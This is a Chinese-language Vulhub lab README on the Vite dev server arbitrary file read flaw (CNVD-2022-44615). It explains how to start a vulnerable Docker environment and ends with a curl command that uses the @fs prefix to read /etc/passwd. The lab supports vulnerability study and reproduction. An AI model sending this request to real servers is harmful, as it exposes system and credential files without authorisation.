Files
vulhub/vite/CNVD-2022-44615/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

934 B
Raw Permalink Blame History

Vite开发服务器任意文件读取漏洞CNVD-2022-44615

Vite是一个现代前端构建工具为Web项目提供更快、更精简的开发体验。它主要由两部分组成具有热模块替换HMR功能的开发服务器以及使用Rollup打包代码的构建命令。

在Vite 2.3.0 版本之前,可以通过 @fs 前缀读取文件系统上的任意文件。

参考链接:

环境搭建

执行以下命令启动Vite 2.1.5开发服务器:

docker compose up -d

服务器启动后,可以通过访问http://your-ip:3000来访问 Vite 开发服务器。

注意旧版本Vite的开发服务器默认端口为3000新版本默认端口为5173请注意区分。

漏洞复现

使用标准的@fs前缀访问/etc/passwd,可以获取文件内容:

curl "http://your-ip:3000/@fs/etc/passwd"